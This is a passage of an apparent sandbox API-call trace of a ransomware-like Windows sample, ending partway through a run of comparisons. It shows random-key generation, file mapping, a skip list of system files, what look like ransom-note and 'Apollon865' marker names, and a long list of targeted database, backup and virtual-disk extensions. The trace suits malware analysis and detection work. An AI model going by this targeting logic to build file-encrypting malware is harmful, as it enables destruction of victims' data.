	[0088.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.105] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.106] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.106] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.106] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12a70, lpName=0x0) returned 0x15c
	[0088.106] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12a70) returned 0x120000
	[0088.110] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.111] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.111] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.112] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.113] CloseHandle (hObject=0x15c) returned 1
	[0088.113] CloseHandle (hObject=0x9c) returned 1
	[0088.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.115] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6bd47e0, ftCreationTime.dwHighDateTime=0x1d4cc3c, ftLastAccessTime.dwLowDateTime=0x596744b0, ftLastAccessTime.dwHighDateTime=0x1d4d2c4, ftLastWriteTime.dwLowDateTime=0x596744b0, ftLastWriteTime.dwHighDateTime=0x1d4d2c4, nFileSizeHigh=0x0, nFileSizeLow=0xedbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cxOa-aiSNwhzkE23V4.mp3", cAlternateFileName="CXOA-A~1.MP3")) returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2=".") returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="..") returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="windows") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="bootmgr") returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="temp") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="pagefile.sys") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="boot") returned 1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="ids.txt") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="ntuser.dat") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="perflogs") returned -1
	[0088.115] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2="MSBuild") returned -1
	[0088.115] lstrlenW (lpString="cxOa-aiSNwhzkE23V4.mp3") returned 22
	[0088.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\0xgH6q4vYRzn3zZm.wav") returned 74
	[0088.116] lstrcpyW (in: lpString1=0x119e674, lpString2="cxOa-aiSNwhzkE23V4.mp3" | out: lpString1="cxOa-aiSNwhzkE23V4.mp3") returned="cxOa-aiSNwhzkE23V4.mp3"
	[0088.116] lstrlenW (lpString="cxOa-aiSNwhzkE23V4.mp3") returned 22
	[0088.116] lstrlenW (lpString="Apollon865") returned 10
	[0088.116] lstrcmpiW (lpString1="kE23V4.mp3", lpString2="Apollon865") returned 1
	[0088.116] lstrlenW (lpString=".dll") returned 4
	[0088.116] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2=".dll") returned 1
	[0088.116] lstrlenW (lpString=".lnk") returned 4
	[0088.116] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2=".lnk") returned 1
	[0088.116] lstrlenW (lpString=".ini") returned 4
	[0088.116] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2=".ini") returned 1
	[0088.116] lstrlenW (lpString=".sys") returned 4
	[0088.116] lstrcmpiW (lpString1="cxOa-aiSNwhzkE23V4.mp3", lpString2=".sys") returned 1
	[0088.116] lstrlenW (lpString="cxOa-aiSNwhzkE23V4.mp3") returned 22
	[0088.116] lstrlenW (lpString="bak") returned 3
	[0088.116] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.116] lstrlenW (lpString="ba_") returned 3
	[0088.116] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.116] lstrlenW (lpString="dbb") returned 3
	[0088.116] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.116] lstrlenW (lpString="vmdk") returned 4
	[0088.116] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.116] lstrlenW (lpString="rar") returned 3
	[0088.116] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.116] lstrlenW (lpString="zip") returned 3
	[0088.116] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.117] lstrlenW (lpString="tgz") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.117] lstrlenW (lpString="vbox") returned 4
	[0088.117] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.117] lstrlenW (lpString="vdi") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.117] lstrlenW (lpString="vhd") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.117] lstrlenW (lpString="vhdx") returned 4
	[0088.117] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.117] lstrlenW (lpString="avhd") returned 4
	[0088.117] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.117] lstrlenW (lpString="db") returned 2
	[0088.117] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.117] lstrlenW (lpString="db2") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.117] lstrlenW (lpString="db3") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.117] lstrlenW (lpString="dbf") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.117] lstrlenW (lpString="mdf") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.117] lstrlenW (lpString="mdb") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.117] lstrlenW (lpString="sql") returned 3
	[0088.117] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.117] lstrlenW (lpString="sqlite") returned 6
	[0088.118] lstrcmpiW (lpString1="V4.mp3", lpString2="sqlite") returned 1
	[0088.118] lstrlenW (lpString="sqlite3") returned 7
	[0088.118] lstrcmpiW (lpString1="3V4.mp3", lpString2="sqlite3") returned -1
	[0088.118] lstrlenW (lpString="sqlitedb") returned 8
	[0088.118] lstrcmpiW (lpString1="23V4.mp3", lpString2="sqlitedb") returned -1
	[0088.118] lstrlenW (lpString="xml") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.118] lstrlenW (lpString="$er") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.118] lstrlenW (lpString="4dd") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.118] lstrlenW (lpString="4dl") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.118] lstrlenW (lpString="^^^") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.118] lstrlenW (lpString="abs") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.118] lstrlenW (lpString="abx") returned 3
	[0088.118] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.118] lstrlenW (lpString="accdb") returned 5
	[0088.118] lstrcmpiW (lpString1="4.mp3", lpString2="accdb") returned -1
	[0088.118] lstrlenW (lpString="accdc") returned 5
	[0088.118] lstrcmpiW (lpString1="4.mp3", lpString2="accdc") returned -1
	[0088.118] lstrlenW (lpString="accde") returned 5
	[0088.118] lstrcmpiW (lpString1="4.mp3", lpString2="accde") returned -1
	[0088.118] lstrlenW (lpString="accdr") returned 5
	[0088.119] lstrcmpiW (lpString1="4.mp3", lpString2="accdr") returned -1
	[0088.119] lstrlenW (lpString="accdt") returned 5
	[0088.119] lstrcmpiW (lpString1="4.mp3", lpString2="accdt") returned -1
	[0088.119] lstrlenW (lpString="accdw") returned 5
	[0088.119] lstrcmpiW (lpString1="4.mp3", lpString2="accdw") returned -1
	[0088.119] lstrlenW (lpString="accft") returned 5
	[0088.119] lstrcmpiW (lpString1="4.mp3", lpString2="accft") returned -1
	[0088.119] lstrlenW (lpString="adb") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.119] lstrlenW (lpString="adb") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.119] lstrlenW (lpString="ade") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.119] lstrlenW (lpString="adf") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.119] lstrlenW (lpString="adn") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.119] lstrlenW (lpString="adp") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.119] lstrlenW (lpString="alf") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.119] lstrlenW (lpString="ask") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.119] lstrlenW (lpString="btr") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.119] lstrlenW (lpString="cat") returned 3
	[0088.119] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.119] lstrlenW (lpString="cdb") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.120] lstrlenW (lpString="ckp") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.120] lstrlenW (lpString="cma") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.120] lstrlenW (lpString="cpd") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.120] lstrlenW (lpString="dacpac") returned 6
	[0088.120] lstrcmpiW (lpString1="V4.mp3", lpString2="dacpac") returned 1
	[0088.120] lstrlenW (lpString="dad") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.120] lstrlenW (lpString="dadiagrams") returned 10
	[0088.120] lstrcmpiW (lpString1="kE23V4.mp3", lpString2="dadiagrams") returned 1
	[0088.120] lstrlenW (lpString="daschema") returned 8
	[0088.120] lstrcmpiW (lpString1="23V4.mp3", lpString2="daschema") returned -1
	[0088.120] lstrlenW (lpString="db-journal") returned 10
	[0088.120] lstrcmpiW (lpString1="kE23V4.mp3", lpString2="db-journal") returned 1
	[0088.120] lstrlenW (lpString="db-shm") returned 6
	[0088.120] lstrcmpiW (lpString1="V4.mp3", lpString2="db-shm") returned 1
	[0088.120] lstrlenW (lpString="db-wal") returned 6
	[0088.120] lstrcmpiW (lpString1="V4.mp3", lpString2="db-wal") returned 1
	[0088.120] lstrlenW (lpString="dbc") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.120] lstrlenW (lpString="dbs") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.120] lstrlenW (lpString="dbt") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.120] lstrlenW (lpString="dbv") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.120] lstrlenW (lpString="dbx") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.120] lstrlenW (lpString="dcb") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.120] lstrlenW (lpString="dct") returned 3
	[0088.120] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.121] lstrlenW (lpString="dcx") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.121] lstrlenW (lpString="ddl") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.121] lstrlenW (lpString="dlis") returned 4
	[0088.121] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.121] lstrlenW (lpString="dp1") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.121] lstrlenW (lpString="dqy") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.121] lstrlenW (lpString="dsk") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.121] lstrlenW (lpString="dsn") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.121] lstrlenW (lpString="dtsx") returned 4
	[0088.121] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.121] lstrlenW (lpString="dxl") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.121] lstrlenW (lpString="eco") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.121] lstrlenW (lpString="ecx") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.121] lstrlenW (lpString="edb") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.121] lstrlenW (lpString="epim") returned 4
	[0088.121] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.121] lstrlenW (lpString="fcd") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.121] lstrlenW (lpString="fdb") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.121] lstrlenW (lpString="fic") returned 3
	[0088.121] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.121] lstrlenW (lpString="flexolibrary") returned 12
	[0088.121] lstrcmpiW (lpString1="hzkE23V4.mp3", lpString2="flexolibrary") returned 1
	[0088.121] lstrlenW (lpString="fm5") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.122] lstrlenW (lpString="fmp") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.122] lstrlenW (lpString="fmp12") returned 5
	[0088.122] lstrcmpiW (lpString1="4.mp3", lpString2="fmp12") returned -1
	[0088.122] lstrlenW (lpString="fmpsl") returned 5
	[0088.122] lstrcmpiW (lpString1="4.mp3", lpString2="fmpsl") returned -1
	[0088.122] lstrlenW (lpString="fol") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.122] lstrlenW (lpString="fp3") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.122] lstrlenW (lpString="fp4") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.122] lstrlenW (lpString="fp5") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.122] lstrlenW (lpString="fp7") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.122] lstrlenW (lpString="fpt") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.122] lstrlenW (lpString="frm") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.122] lstrlenW (lpString="gdb") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.122] lstrlenW (lpString="gdb") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.122] lstrlenW (lpString="grdb") returned 4
	[0088.122] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.122] lstrlenW (lpString="gwi") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.122] lstrlenW (lpString="hdb") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.122] lstrlenW (lpString="his") returned 3
	[0088.122] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0088.122] lstrlenW (lpString="ib") returned 2
	[0088.122] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.123] lstrlenW (lpString="idb") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.123] lstrlenW (lpString="ihx") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.123] lstrlenW (lpString="itdb") returned 4
	[0088.123] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.123] lstrlenW (lpString="itw") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.123] lstrlenW (lpString="jet") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.123] lstrlenW (lpString="jtx") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.123] lstrlenW (lpString="kdb") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.123] lstrlenW (lpString="kexi") returned 4
	[0088.123] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.123] lstrlenW (lpString="kexic") returned 5
	[0088.123] lstrcmpiW (lpString1="4.mp3", lpString2="kexic") returned -1
	[0088.123] lstrlenW (lpString="kexis") returned 5
	[0088.123] lstrcmpiW (lpString1="4.mp3", lpString2="kexis") returned -1
	[0088.123] lstrlenW (lpString="lgc") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.123] lstrlenW (lpString="lwx") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.123] lstrlenW (lpString="maf") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.123] lstrlenW (lpString="maq") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.123] lstrlenW (lpString="mar") returned 3
	[0088.123] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.123] lstrlenW (lpString="marshal") returned 7
	[0088.123] lstrcmpiW (lpString1="3V4.mp3", lpString2="marshal") returned -1
	[0088.123] lstrlenW (lpString="mas") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.124] lstrlenW (lpString="mav") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.124] lstrlenW (lpString="maw") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.124] lstrlenW (lpString="mdbhtml") returned 7
	[0088.124] lstrcmpiW (lpString1="3V4.mp3", lpString2="mdbhtml") returned -1
	[0088.124] lstrlenW (lpString="mdn") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.124] lstrlenW (lpString="mdt") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.124] lstrlenW (lpString="mfd") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.124] lstrlenW (lpString="mpd") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.124] lstrlenW (lpString="mrg") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.124] lstrlenW (lpString="mud") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.124] lstrlenW (lpString="mwb") returned 3
	[0088.124] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.125] lstrlenW (lpString="myd") returned 3
	[0088.125] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.125] lstrlenW (lpString="ndf") returned 3
	[0088.125] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.125] lstrlenW (lpString="nnt") returned 3
	[0088.125] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.125] lstrlenW (lpString="nrmlib") returned 6
	[0088.125] lstrcmpiW (lpString1="V4.mp3", lpString2="nrmlib") returned 1
	[0088.125] lstrlenW (lpString="ns2") returned 3
	[0088.125] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.125] lstrlenW (lpString="ns3") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.134] lstrlenW (lpString="ns4") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.134] lstrlenW (lpString="nsf") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.134] lstrlenW (lpString="nv") returned 2
	[0088.134] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.134] lstrlenW (lpString="nv2") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.134] lstrlenW (lpString="nwdb") returned 4
	[0088.134] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.134] lstrlenW (lpString="nyf") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.134] lstrlenW (lpString="odb") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.134] lstrlenW (lpString="odb") returned 3
	[0088.134] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.134] lstrlenW (lpString="oqy") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.135] lstrlenW (lpString="ora") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.135] lstrlenW (lpString="orx") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.135] lstrlenW (lpString="owc") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.135] lstrlenW (lpString="p96") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.135] lstrlenW (lpString="p97") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.135] lstrlenW (lpString="pan") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.135] lstrlenW (lpString="pdb") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.135] lstrlenW (lpString="pdm") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.135] lstrlenW (lpString="pnz") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.135] lstrlenW (lpString="qry") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.135] lstrlenW (lpString="qvd") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.135] lstrlenW (lpString="rbf") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.135] lstrlenW (lpString="rctd") returned 4
	[0088.135] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.135] lstrlenW (lpString="rod") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.135] lstrlenW (lpString="rodx") returned 4
	[0088.135] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.135] lstrlenW (lpString="rpd") returned 3
	[0088.135] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.135] lstrlenW (lpString="rsd") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.136] lstrlenW (lpString="sas7bdat") returned 8
	[0088.136] lstrcmpiW (lpString1="23V4.mp3", lpString2="sas7bdat") returned -1
	[0088.136] lstrlenW (lpString="sbf") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.136] lstrlenW (lpString="scx") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.136] lstrlenW (lpString="sdb") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.136] lstrlenW (lpString="sdc") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.136] lstrlenW (lpString="sdf") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.136] lstrlenW (lpString="sis") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.136] lstrlenW (lpString="spq") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.136] lstrlenW (lpString="te") returned 2
	[0088.136] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.136] lstrlenW (lpString="teacher") returned 7
	[0088.136] lstrcmpiW (lpString1="3V4.mp3", lpString2="teacher") returned -1
	[0088.136] lstrlenW (lpString="tmd") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.136] lstrlenW (lpString="tps") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.136] lstrlenW (lpString="trc") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.136] lstrlenW (lpString="trc") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.136] lstrlenW (lpString="trm") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.136] lstrlenW (lpString="udb") returned 3
